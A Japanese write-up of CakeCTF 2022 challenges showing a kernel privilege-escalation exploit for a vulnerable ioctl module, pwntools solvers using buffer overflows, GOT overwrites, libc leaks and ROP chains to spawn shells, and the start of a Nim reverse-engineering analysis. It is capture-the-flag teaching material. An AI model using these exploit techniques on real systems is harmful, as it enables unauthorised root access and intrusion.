CakeCTF 2022 Writeup
はじめに
R0nwizardleyというチームで参加し,107/713位でした.
いろいろタスクを積んでいたせいであまり集中して取り組めないうちにCTFが終了してしまったため, 多少の後悔があり,終わった後もしばらく問題を解き続けてしまった. 時間中に解いた問題が少なすぎるため,追加で解いた問題のWriteupも書く.
- welkerme
- str.vs.cstr
- smal arey
- nimrev
- frozen cake
- brand new crypto
pwn
welkerme
お,キャンプでやったカーネル問だ,となり意気揚々と取り組んだ. ちょうどPawnyableに取り組んでいたものの,実際のカーネル問にCTFで取り組んだことがなかったため,リモートエクスプロイトを体験するよい機会であった.
今回は,ioctlを利用することで,カーネル内でioctlの引数に渡した関数を実行できるため,サンプルのexploit.c内のfunc関数内で権限昇格できるようなコードを書く.
問題で実装されているカーネルモジュールは以下の通りで,引数に渡されたコマンドID( cmd
)により, arg
を利用した決まった処理を実行する.
CMD_ECHO
はargを出力するだけなため,func関数をカーネル内で実行するためには,ioctlの引数に CMD_EXEC
を指定する必要がある.
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("welkerme - CakeCTF 2022");
#define DEVICE_NAME "welkerme"
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002
...
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
long (*code)(void);
printk("'module_ioctl' called with cmd=0x%08x\n", cmd);
switch (cmd) {
case CMD_ECHO:
printk("CMD_ECHO: arg=0x%016lx\n", arg);
return arg;
case CMD_EXEC:
printk("CMD_EXEC: arg=0x%016lx\n", arg);
code = (long (*)(void))(arg);
return code();
default:
return -EINVAL;
}
}
...
Linuxでは, commit_creds
を使用した権限昇格がよく利用されているようで,今回もそれを利用して権限昇格を行う.
commit_creds
(https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L447)
は,引数に与えられた cred
構造体の内容を現在のプロセスに適用する関数である.
そして,この関数とセットで使用される prepare_kernel_cred
(https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L712)は,引数に task_struct
構造体を取り,渡された構造体の内容に即した cred
構造体を戻り値に設定する.この関数の特徴として,引数に NULL
が渡された場合,initプロセスと同じ権限情報,つまりroot権限の cred
を戻り値に設定する.
つまり,これらの関数を組み合わせて commit_creds(prepare_kernel_cred(NULL))
を呼び出すことができれば,権限昇格をすることができる.
しかし,このままだと commit_creds
と prepare_kernel_cred
の関数のアドレスがわからないため,これらの関数のアドレスをローカル環境で特定してやる必要がある.
しかし,初期のままでは,uidが1337になっており,カーネル空間のアドレスを確認することができないため,Linuxの起動時に読み込まれる /etc/init.d/
配下のファイルを見てみる.
すると, S99ctf
という如何にもなファイルがあるためこれを確認すると,
setsid cttyhack setuidgid 1337 sh
の記述があるので,1337を0に変えるとローカル環境でroot権限でシェルが起動できる.
あとはカーネルのメモリを見ればよいので,この状態で, /proc/kallsyms
を確認すればよい.
/ # cat /proc/kallsyms | grep commit_creds
ffffffff81072540 T commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810726e0 T prepare_kernel_cred
以上で権限昇格に必要な関数のアドレスもわかったので,exploit.cの func
に
commit_creds(prepare_kernel_cred(NULL))
を記述すると以下のようになる.
main
では,権限昇格した状態でシェルを起動するために
execl("/bin/sh", "sh", NULL)
を加えている.
exploit
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002
void (*commit_creds)(void*);
void *(*prepare_kernel_cred)(void *);
int func(void) {
// commit_creds(prepare_kernel_cred(NULL));
commit_creds = (void*)0xffffffff81072540;
prepare_kernel_cred = (void*)0xffffffff810726e0;
commit_creds(prepare_kernel_cred(NULL));
return 2;
}
int main(void) {
int fd, ret;
if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
perror("/dev/welkerme");
exit(1);
}
ret = ioctl(fd, CMD_ECHO, 12345);
printf("CMD_ECHO(12345) --> %d\n", ret);
ret = ioctl(fd, CMD_EXEC, (long)func);
printf("CMD_EXEC(func) --> %d\n", ret);
close(fd);
execl("/bin/sh", "sh", NULL);
return 0;
}
ここまで順調で,あとはローカル環境で権限昇格可能なことを試してリモートに転送するだけだったのだが,ここでpythonのスクリプトでexploitを転送しようとしたせいで結構沼った.
まず,ncでサーバに接続すると, hashcash
による認証を求められる.手元で画面に表示される文字列を hashcash
の引数にセットして実行した結果を送信するだけでよいのだが,何故か後ろの改行文字まで含めて hashcash
を実行してしまっていたせいで,pythonスクリプトからの認証が一生通らないという本質とはマジで関係ないところで詰みかけた.
流石に途中で気付き,なんとか remote_transfer
を完成させ,送信すると無事exploitが転送され,フラグが取れた.
remote_transfer
from pwn import *
import time
import base64
import os
import subprocess
import re
def run(cmd):
conn.sendlineafter(b'$ ', cmd)
conn.recvline()
def hashcash(conn):
conn.recvuntil('mb26 ')
serverhash = conn.recvuntil('\n').decode().strip()
conn.recvline()
serverhash.strip()
print(serverhash)
cmd_result = subprocess.run(['hashcash', '-mb26', serverhash], capture_output=True)
returnhash = cmd_result.stdout.decode()
print(returnhash)
conn.sendline(returnhash)
with open("./root/exploit", "rb") as f:
payload = base64.b64encode(f.read())
print(payload)
# nc pwn2.2022.cakectf.com 9999
conn = remote("pwn2.2022.cakectf.com", 9999)
# conn = process("./run.sh")
# check hashcash
hashcash(conn)
# uploader
run(b'cd /tmp')
for i in range(0, len(payload), 512):
print(f"Uploading... {i:x} / {len(payload):x}")
tmp_payload = b'echo "' + payload[i:i+512] + b'" >> b64exp'
run(tmp_payload)
run(b'base64 -d b64exp > exploit')
run(b'rm b64exp')
run(b'chmod +x exploit')
conn.interactive()
$ python remote_transfer.py
b'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAOBBAAAAAAABAAAAAAAAAAKB+AAAAAAAAAAAAAEAAOAAGAEAAEQAQAAEAAAAEAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAkAEAAAAAAACQAQAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQQAAAAAAAABBAAAAA'
[+] Opening connection to pwn2.2022.cakectf.com on port 9999: Done
remote_transfer.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
conn.recvuntil('mb26 ')
remote_transfer.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
serverhash = conn.recvuntil('\n').decode().strip()
MS6ciRz8q
1:26:220903:ms6cirz8q::7S6HUI6dCOQUYr3D:0000000BQxKj
remote_transfer.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
conn.sendline(returnhash)
Uploading... 0 / ae80
Uploading... 200 / ae80
Uploading... 400 / ae80
Uploading... 600 / ae80
...
Uploading... a400 / ae80
Uploading... a600 / ae80
Uploading... a800 / ae80
Uploading... aa00 / ae80
Uploading... ac00 / ae80
Uploading... ae00 / ae80
[*] Switching to interactive mode
/tmp $ $ ls -al
ls -al
total 68
drwxrwxrwt 2 root root 100 Sep 3 16:19 .
drwxr-xr-x 14 root root 340 Aug 28 05:37 ..
-rwxr-xr-x 1 1337 1337 33504 Sep 3 16:19 exploit
-rw-r--r-- 1 root root 27685 Sep 3 16:19 messages
-rw-r--r-- 1 root root 149 Sep 3 16:19 resolv.conf
/tmp $ $ ./exploit
./exploit
CMD_ECHO(12345) --> 12345
CMD_EXEC(func) --> 2
/tmp # $ id
id
uid=0(root) gid=0(root)
/tmp # $ cat /root/flag.txt
cat /root/flag.txt
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}
str.vs.cstr
問題
#include <array>
#include <iostream>
struct Test {
Test() { std::fill(_c_str, _c_str + 0x20, 0); }
char* c_str() { return _c_str; }
std::string& str() { return _str; }
private:
__attribute__((used))
void call_me() {
std::system("/bin/sh");
}
char _c_str[0x20];
std::string _str;
};
int main() {
Test test;
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
std::cout << "1. set c_str" << std::endl
<< "2. get c_str" << std::endl
<< "3. set str" << std::endl
<< "4. get str" << std::endl;
while (std::cin.good()) {
int choice = 0;
std::cout << "choice: ";
std::cin >> choice;
switch (choice) {
case 1: // set c_str
std::cout << "c_str: ";
std::cin >> test.c_str();
break;
case 2: // get c_str
std::cout << "c_str: " << test.c_str() << std::endl;
break;
case 3: // set str
std::cout << "str: ";
std::cin >> test.str();
break;
case 4: // get str
std::cout << "str: " << test.str() << std::endl;
break;
default: // otherwise exit
std::cout << "bye!" << std::endl;
return 0;
}
}
return 1;
}
問題を読むと,CのstrかC++のstrの入力と出力ができる.
とりあえず,それぞれの変数に値を入れたときの挙動を確認するため, cstr
に a*10
, str
に b*10
を入れてgdbでスタックを見てみると,
0x00007fffffffdb70│+0x0000: 0x00007fffffffdb90 → 0x0000000000000000 ← $rsp
0x00007fffffffdb78│+0x0008: 0x000000020040160a
0x00007fffffffdb80│+0x0010: "aaaaaaaaaa"
0x00007fffffffdb88│+0x0018: 0x0000000000006161 ("aa"?)
0x00007fffffffdb90│+0x0020: 0x0000000000000000
0x00007fffffffdb98│+0x0028: 0x0000000000000000
0x00007fffffffdba0│+0x0030: 0x00007fffffffdbb0 → "bbbbbbbbbb"
0x00007fffffffdba8│+0x0038: 0x000000000000000a ("\n"?)
0x00007fffffffdbb0│+0x0040: "bbbbbbbbbb"
0x00007fffffffdbb8│+0x0048: 0x0000000000006262 ("bb"?)
rsp+0x10
から cstr
が 0x20
byte分, rsp+0x30
に str
のポインタが格納されており,ここに対して文字が入力されている.
また, cstr
には自明なBOFがあり, cstr
に 'a'*0x20
を入力後に str
のポインタを書き換えられるので,AAWを作ることができる.
def AAW(addr, data):
conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
conn.sendafter(b'c_str: ', b'a'*0x20)
conn.sendline(pack(addr))
conn.sendlineafter(b'choice: ', str(SET_STR).encode())
conn.sendlineafter(b'str: ', pack(data))
セキュリティ機能は,
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
なので,GOT OverwriteでどこかしらのGOTを書き換えることで, call_me()
に飛ばせば system("/bin/sh")
を実行できそう.
とりあえず, call_me
のアドレスを把握しておく.
$ nm -tx chall | grep call_me
00000000004016de W _ZN4Test7call_meEv
また,demangle済みのGOTを確認すると
gef➤ dq 0x404000
0x0000000000404000│+0x0000 <_GLOBAL_OFFSET_TABLE_+0000> 0x0000000000403df0
0x0000000000404008│+0x0008 <_GLOBAL_OFFSET_TABLE_+0008> 0x00007ffff7ffe190
0x0000000000404010│+0x0010 <_GLOBAL_OFFSET_TABLE_+0010> 0x00007ffff7fe7bc0
0x0000000000404018│+0x0018 <std::basic_istream<char,+0000> 0x0000000000401030
0x0000000000404020│+0x0020 <std::istream::operator>>(int&)@got.plt+0000> 0x0000000000401040
0x0000000000404028│+0x0028 <std::__cxx11::basic_string<char,+0000> 0x0000000000401050
0x0000000000404030│+0x0030 <system@got.plt+0000> 0x0000000000401060
0x0000000000404038│+0x0038 <__cxa_atexit@got.plt+0000> 0x00007ffff7c06de0
0x0000000000404040│+0x0040 <std::basic_ostream<char,+0000> 0x0000000000401080
0x0000000000404048│+0x0048 <std::basic_ostream<char,+0000> 0x0000000000401090
0x0000000000404050│+0x0050 <std::ostream::operator<<(std::ostream&+0000> 0x00000000004010a0
0x0000000000404058│+0x0058 <__stack_chk_fail@got.plt+0000> 0x00000000004010b0
0x0000000000404060│+0x0060 <std::basic_istream<char,+0000> 0x00000000004010c0
0x0000000000404068│+0x0068 <std::__cxx11::basic_string<char,+0000> 0x00000000004010d0
0x0000000000404070│+0x0070 <setbuf@got.plt+0000> 0x00000000004010e0
0x0000000000404078│+0x0078 <std::ios_base::Init::Init()@got.plt+0000> 0x00007ffff7e880f0
...
こんな感じで, cout
あたりのGOTを書き換えることができれば,深いことは考えずに call_me
が呼べそうなので, basic_ostream
の 0x404048
を書き換える対象とする.
(このとき, 0x404040
も basic_ostream
なのだが,こっちではうまくいかない(こっちは cout
ではない?)) .
あとは上記のAAWで 0x404048
を call_me
に書き換えれば,GOT Overwrite後に勝手に call_me
が呼ばれてシェルが起動する.
solver
import sys
from pwn import *
SET_CSTR = 1
GET_CSTR = 2
SET_STR = 3
GET_STR = 4
system_main = 0x4016de
cout_got = 0x404048
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
binf = ELF(bin_file)
# nc pwn1.2022.cakectf.com 9003
conn = remote('pwn1.2022.cakectf.com', 9003)
# conn = process(bin_file)
def AAW(addr, data):
conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
conn.sendafter(b'c_str: ', b'a'*0x20)
conn.sendline(pack(addr))
conn.sendlineafter(b'choice: ', str(SET_STR).encode())
conn.sendlineafter(b'str: ', pack(data))
AAW(cout_got, system_main)
conn.interactive()
$ python solve.py
[*] '/home/mc4nf/ctf/cakectf/2022/pwn/str_vs_cstr/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to pwn1.2022.cakectf.com on port 9003: Done
[*] Switching to interactive mode
$ ls
chall
flag-ba2a141e66fda88045dc28e72c0daf20.txt
$ cat flag*
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
ということでフラグにHW1, HW2として何か書いてるのでHWってハードウェア?とか思いながら読んでみると(多分ハローワーク)もっと難しくしてやってみてねみたいなことが書いてある.ということで宿題を出されてしまったので……やります.
HW1
Test
の中から以下のように call_me
を取り除く.さようなら…… call_me….
...
struct Test {
Test() { std::fill(_c_str, _c_str + 0x20, 0); }
char* c_str() { return _c_str; }
std::string& str() { return _str; }
private:
char _c_str[0x20];
std::string _str;
};
...
PIEを無効にしてコンパイル.
$ g++ -no-pie main2.cpp -o chall2
$ checksec chall2
[*] '/home/mc4nf/ctf/cakectf/2022/pwn/str_vs_cstr/chall2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
これで call_me
がなくなったため,自力で system('/bin/sh')
を召喚する必要がある.
でも,AAWを作れたのと同様に,stringの構造を使ってAARも作ることができるため,libcのアドレスリークは簡単にできそう.
いろいろ手を動かして調べた結果, string
型は以下のような32byteの構造をしており,16byte以上の入力があった場合に別途領域が確保され,pointerがそっちの領域を指すようになる.
cin
の場合は単純にpointerを書き換えればよかったが, cout
の場合は,pointerの下のsizeの分だけpointerの領域から読み込みが行われるため,読み出したいサイズをsizeに書き込む必要がある.
|---------|
| pointer | 8 byte
|---------|
| size | 8 byte
|---------|
| buf | 16 byte
| |
|---------|
よって,AAWのときと同様にc_strのBOFを利用して,pointerとsizeを設定することで,AARを実装することができる.
def AAR(addr):
size = 0x8
payload = b'a'*0x20
payload += pack(addr)
payload += pack(size)
conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
conn.sendlineafter(b'c_str: ', payload)
conn.sendlineafter(b'choice: ', str(GET_STR).encode())
conn.recvuntil(b'str: ')
res = unpack(conn.recv(0x8))
print("0x{:08x}".format(res))
return res
AARが作れたので,あとはGOTからlibcのアドレスリークをして,one_gadgetのアドレスをcoutのGOTに投げればよい.
main突入時点で setbuf
のアドレスが解決されているため,これを利用してlibcのベースアドレスを計算する.
あとは,one_gadgetに飛ばしてオワリ!wのはずだったのだがうまくいかないのでGOTに pop ... pop... pop ...
のガジェット仕込んで, a
でパディングしていたところに system('/bin/sh')
を召喚するROPを挿入して, cout
からROPが発火するようにしたらうまくいった.
import sys
from pwn import *
SET_CSTR = 1
GET_CSTR = 2
SET_STR = 3
GET_STR = 4
context(os = 'linux', arch = 'amd64')
elfname = './chall2'
chall = ELF(elfname)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
# nc pwn1.2022.cakectf.com 9003
# conn = remote('pwn1.2022.cakectf.com', 9003)
conn = process(elfname)
def AAR(addr):
size = 0x8
payload = b'a'*0x20
payload += pack(addr)
payload += pack(size)
conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
conn.sendlineafter(b'c_str: ', payload)
conn.sendlineafter(b'choice: ', str(GET_STR).encode())
conn.recvuntil(b'str: ')
res = unpack(conn.recv(0x8))
print("0x{:08x}".format(res))
return res
def AAW(addr, data):
payload = pack(pop_rdi)
payload += pack(sh_symbol)
payload += pack(system_libc)
payload += b'a'*0x8
payload += pack(addr)
payload += pack(0x8)
conn.sendlineafter(b'choice: ', str(SET_CSTR).encode())
conn.sendlineafter(b'c_str: ', payload)
conn.sendlineafter(b'choice: ', str(SET_STR).encode())
conn.sendlineafter(b'str: ', pack(data))
setbuf_got = chall.got['setbuf']
setbuf_libc = libc.functions['setbuf'].address
setbuf_addr = AAR(setbuf_got)
libc_base = setbuf_addr - setbuf_libc
print("libc_base = 0x{:08x}".format(libc_base))
cout_got = 0x404040
pop_rdi = 0x4017f3
pop_pop_pop = 0x4017ee
sh_symbol = next(libc.search(b'/bin/sh')) + libc_base
system_libc = libc.functions['system'].address + libc_base
print("sh_symbol = 0x{:08x}".format(sh_symbol))
AAW(cout_got, pop_pop_pop)
conn.interactive()
$ python solve2.py
[*] '/home/mc4nf/ctf/cakectf/2022/pwn/str_vs_cstr/chall2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './chall2': pid 72967
0x7f118be20ad0
libc_base = 0x7f118bd95000
sh_symbol = 0x7f118bf495bd
[*] Switching to interactive mode
$ ls
chall chall2 main2.cpp main.cpp solve2.py solve.py
HW2
under construction…
smal arey
終了1時間前くらいに確認して,なんかスタックがズレてることは確認したものの,特に何も思いつかなかったのでそのまま終了した.
が,月曜日に突然 size
の大きさを書き換えられることに気づいてしまい,急いで解いた(遅い).
問題
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))
int main() {
long size, index, *arr;
printf("size: ");
if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
exit(0);
arr = ARRAY_NEW(size);
while (1) {
printf("index: ");
if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
exit(0);
printf("value: ");
scanf("%ld", &arr[index]);
}
}
__attribute__((constructor))
void setup(void) {
alarm(180);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
これを見ると, size <= 5
までの size
を入力し, long[size]
の配列を作成することができるプログラムのようである. その後は alloca
によりスタック上に確保された配列の index
と value
を指定し,値を格納することができる.
とりあえず,脆弱性がわからないので,gdbでうろうろすると,
size = 5
のときに, arr[4]
の値が size
が格納されている領域が被っていることに気づく.
size = 5
のときの index
の入力前
gef➤ dps
0x00007fffffffdba0│+0x0000: 0x0000000000401380 ← $rsp
0x00007fffffffdba8│+0x0008: 0x00007ffff7ffe190
0x00007fffffffdbb0│+0x0010: 0x0000000000000003
0x00007fffffffdbb8│+0x0018: 0x00000000004011fa
0x00007fffffffdbc0│+0x0020: 0x0000000000000005 // size = 5
0x00007fffffffdbc8│+0x0028: 0x00000000004010d0
0x00007fffffffdbd0│+0x0030: 0x00007fffffffdba0 // arr = 0x00007fffffffdba0
0x00007fffffffdbd8│+0x0038: 0x5735d60ff465aa00 // canary
0x00007fffffffdbe0│+0x0040: 0x0000000000000000 ← $rbp
size = 5
index = 4
value = 0x255
の入力後
0x00007fffffffdba0│+0x0000: 0x0000000000401380 // arr[0]← $rsp
0x00007fffffffdba8│+0x0008: 0x00007ffff7ffe190 // arr[1]
0x00007fffffffdbb0│+0x0010: 0x0000000000000003 // arr[2]
0x00007fffffffdbb8│+0x0018: 0x00000000004011fa // arr[3]
0x00007fffffffdbc0│+0x0020: 0x00000000000000ff // arr[4] = 255 size = 255
0x00007fffffffdbc8│+0x0028: 0x0000000000000004 // index = 4
0x00007fffffffdbd0│+0x0030: 0x00007fffffffdba0 // arr = 0x00007fffffffdba0
0x00007fffffffdbd8│+0x0038: 0x5735d60ff465aa00 // canary
0x00007fffffffdbe0│+0x0040: 0x0000000000000000 ← $rbp
value
の入力前後を見てみると, arr[4]
と size
のアドレスが同じであるため,
size
を書き換え可能である.
このため, size
を大きな値に書き換えると, arr
の範囲外参照が可能となる.
ここで, arr
のアドレスからの index
に value
を代入していることから, arr
の格納されている領域 ( arr[6]
に該当) に値を書き込みたいアドレスに書き換え, index = 0
を指定すると,一度限りの AAW が可能である.
あとは,配布されたlibcから one gadegetを探して飛ばせばよい.
libcのアドレスがわからないため,ROPから printf(printf)
をすることで, printf
のアドレスを漏洩させ,libc leakを考える.
これで早速リターンアドレスを書き換えてROPに持ち込もうとしたら,リターンアドレスがない!!!
びっくりしましたが,よくソースコードを見ると確かにreturnがない.
ということでよくソースコードを見ると,Partial RELROなため,GOTが書き換え可能であり,好きなタイミングで呼びだせる exit
があやしい.
先程説明したAAWを利用することで,GOT Overwriteが可能なため, exit
のGOTをROP chainに繋げることで,ROPの発火が可能そう.
GOT OverwriteからROPに繋げる方法として, call
命令によりスタックに積まれる rip
を無視する必要があるので,GOTに pop ret
のガジェットのアドレスをあげればうまく rsp
のアドレスに配置したガジェットに繋がる. pop
の回数を増やすと, rsp
からのオフセットを増やせるため,結構融通が効く.
printf(printf)
でlibc leakをしたら,もう一度AAWで exit
のGOTを one gadgetに書き換えたいので,ROPで main
に飛ばす.
地味なハマりポイントとして, main
の頭に飛ばしてしまうと, push rbp
により,スタックがズレるので注意.気づくまでそこそこ沼った.
push rbp
の次のアドレスに無事に飛ばせると,先程と同様の操作でAAWで exit
のGOTを one gadgetに書き換えて exit
を実行させるとシェルが取れる.
ちなみに,スタックがズレる理由はマクロにあるようで,
#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))
は
(long*)alloca(n + 1*sizeof(long)))
と展開されるため十分な領域が確保されなかったのが問題らしい.
( size = 5
で32 byteが確保されてるのはアライメントの問題?)
とりあえず,実験のため以下のような簡単なプログラムを書いて, alloca(8)
と alloca(9)
のスタックの状態を比較する.
#include<stdio.h>
int main(){
long *arr = (long*)alloca(8);
return 0;
}
alloca(8)
のとき
0x00007fffffffdbc0│+0x0000: 0x0000000000000000 // arr[0] ← $rsp
0x00007fffffffdbc8│+0x0008: 0x0000000000401050 // arr[1]
0x00007fffffffdbd0│+0x0010: 0x00007fffffffdbc0 // arr
0x00007fffffffdbd8│+0x0018: 0xf95e69f73f01ac00
0x00007fffffffdbe0│+0x0020: 0x0000000000000000 ← $rbp
alloca(9)
のとき
0x00007fffffffdbb0│+0x0000: 0x00007ffff7fae2e8 // arr[0] ← $rsp
0x00007fffffffdbb8│+0x0008: 0x0000000000401200 // arr[1]
0x00007fffffffdbc0│+0x0010: 0x0000000000000000 // arr[2]
0x00007fffffffdbc8│+0x0018: 0x0000000000401050 // arr[3]
0x00007fffffffdbd0│+0x0020: 0x00007fffffffdbb0 // arr
000 ← $rcx
0x00007fffffffdbd8│+0x0028: 0xf5befdf7c3de9700
0x00007fffffffdbe0│+0x0030: 0x0000000000000000 ← $rbp
これ最初はなんで9byteの領域を確保した瞬間 32byteも確保されたのかなとか考えてたけど, x86-64において, rsp
は16byteでアラインされることが原因ぽい.
何故9byte目で最初のアラインが発生するのかよくわからないが,その後は25byte目でアラインされることを確認したので, alloca
により確保された一番高位の8byteは使用されないようになってるぽい.
|--------------| <- 元のrsp
| 使用されない |
|--------------|
| arr[0] |
|--------------| <- rsp
| |
つまり,問題では size = 5
のとき, alloca(48)
を実行するつもりがマクロのミスにより, alloca(13)
が実行された結果,アライメントを考慮すると32byteの領域が確保されており, arr[4]
で範囲外参照が発生して,それが偶然 size
の変数だった,というのが筋書きだったらしい.なるほど.
solver
from pwn import *
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
binf = ELF(bin_file)
## nc pwn1.2022.cakectf.com 9002
conn = remote('pwn1.2022.cakectf.com', 9002)
# conn = process(bin_file)
# conn = gdb.debug(bin_file,'''
# b *0x4013e3
# c
# c
# b *0x401090
# ''')
def overwrite(index, value):
conn.sendlineafter(b'index: ', str(index).encode())
conn.sendlineafter(b'value: ', str(value).encode())
def AAW(addr, data):
overwrite(6, addr)
overwrite(0, data)
## size = 5
conn.sendlineafter(b'size: ', b'5')
## size = 10000
overwrite(4, 10000)
## ROP gadget
exit_got = 0x404038
printf_got = 0x404020
printf_plt = 0x401090
main = 0x4011bb
pop_rdi_ret = 0x4013e3
## ROP chain
overwrite(0, pop_rdi_ret)
overwrite(1, printf_got)
overwrite(2, printf_plt)
overwrite(3, main)
## ignite ROP chain
AAW(exit_got, pop_rdi_ret)
conn.sendlineafter(b'index: ', b'-1')
## libc leak
printf_offset = 0x61c90
printf_libc = unpack(conn.recv(6), 'all')
libc_base = printf_libc - printf_offset
print('libc_base = 0x{:0x}'.format(libc_base))
## size = 5
conn.sendlineafter(b'size: ', b'5')
## size = 10000
overwrite(4, 10000)
## jmp one_gadget
# one_gadget_offset = 0xe3afe
one_gadget_offset = 0xe3b01
one_gadget_libc = libc_base+one_gadget_offset
AAW(exit_got, one_gadget_libc)
conn.sendlineafter(b'index: ', b'-1')
conn.interactive()
$ python solve.py
[*] '/home/mc4nf/ctf/cakectf/2022/pwn/smal_arey/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to pwn1.2022.cakectf.com on port 9002: Done
libc_base = 0x7faa43604000
[*] Switching to interactive mode
$ ls
chall
flag-c665afc224a93b0c2e4cf82abfedf180.txt
$ cat flag*
CakeCTF{PRE01-C. Use parentheses within macros around parameter names}
CakeCTF{PRE01-C. Use parentheses within macros around parameter names}
rev
nimrev
とりあえず,適当に実行してみると,何か入力すると Wrong...
と表示されてプログラムが終了する.
$ ./chall
aaaa
Wrong...
gdbでうろうろしてみたけどなんかよくわからなかったので,スーパー静的解析ツールであるGhidraを頼ってみる.
Ghidraで見てみると, main -> NimMain -> NimMainInner -> NimMainModule
の順に呼ばれており, NumMainModule
の中にあやしい記述がたくさんあるのでここを解析してみる.
…というか実はGhidraくんが賢いので,負の値を表示してくれており,これに1を足して符号をひっくり返したものがフラグぽいことはすぐにわかった.が,なんだか釈然としないのでちゃんと解析する.
まず, NimMainModule
では,ユーザからの入力を受け取った後,何かの配列に特定の値を入力している.
その後,その配列を引数にした map_main_11
という関数が呼ばれ,その戻り値と入力された文字列が比較され,等しければ Correct!
,そうでなければ Wrong...
が表示されるようである.
そこで,それぞれの関数について,変数名を直しつつデコンパイラ結果を見やすくしてみた.
void NimMainModule(void)
{
bool isCorrect;
char *input_str;
char *key;
char *flag;
long in_FS_OFFSET;
func *colonanonymous_addr;
undefined8 local_20;
char *output_str;
long canary;
undefined8 len;
canary = *(long *)(in_FS_OFFSET + 0x28);
nimZeroMem(&output_str,8);
input_str = (char *)readLine_systemZio_271(stdin);
key = (char *)newSeq(NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_,0x18);
key[0x10] = -0x44;
key[0x11] = -0x62;
key[0x12] = -0x6c;
key[0x13] = -0x66;
key[0x14] = -0x44;
key[0x15] = -0x55;
key[0x16] = -0x47;
key[0x17] = -0x7c;
key[0x18] = -0x74;
key[0x19] = -0x31;
key[0x1a] = -0x6e;
key[0x1b] = -0x34;
key[0x1c] = -0x75;
key[0x1d] = -0x32;
key[0x1e] = -0x6e;
key[0x1f] = -0x34;
key[0x20] = -0x74;
key[0x21] = -0x60;
key[0x22] = -0x6f;
key[0x23] = -0x31;
key[0x24] = -0x75;
key[0x25] = -0x60;
key[0x26] = -0x44;
key[0x27] = -0x7e;
nimZeroMem(&colonanonymous_addr,0x10);
colonanonymous_addr = colonanonymous__main_7;
local_20 = 0;
if (key == (char *)0x0) {
len = 0;
}
else {
len = *(undefined8 *)key;
}
flag = (char *)map_main_11(key + 0x10,len,colonanonymous__main_7,0);
if (flag == (char *)0x0) {
len = 0;
}
else {
len = *(undefined8 *)flag;
}
len = join_main_42(flag + 0x10,len,0);
isCorrect = (bool)eqStrings(input_str,len);
if (isCorrect == true) {
output_str = (char *)copyString(&CORRECT!);
}
else {
output_str = (char *)copyString(&WRONG...);
}
echoBinSafe(&output_str,1);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
ここで,解析してわかったこととして,Nimでは,文字列の配列の冒頭 0x10
分は文字列として使用されておらず,特に冒頭の char[0]
に相当する部分は文字列の長さが格納されているようである.
上記は
Correct!
と Wrong...
の文字列が格納されていた配列で,どちらも文字列の長さが 0x8
byteなので, char[0]
には 0x8(\b)
が格納されている.
このため,上記の key
とした配列では, 0x10
byte目から実際の値の格納が行われており, key[0]
は文字列の長さとして利用されている.
上記の考察に基づいてデコンパイラ結果を見ると,この key
の値を渡している map_main_11
関数でフラグを計算する処理が行われていそうである.
ということで,この関数を見てみると,
char * map_main_11(char *key,long len,code *colonanonymous,long param_4)
{
char reverse_c;
char *flag;
long i;
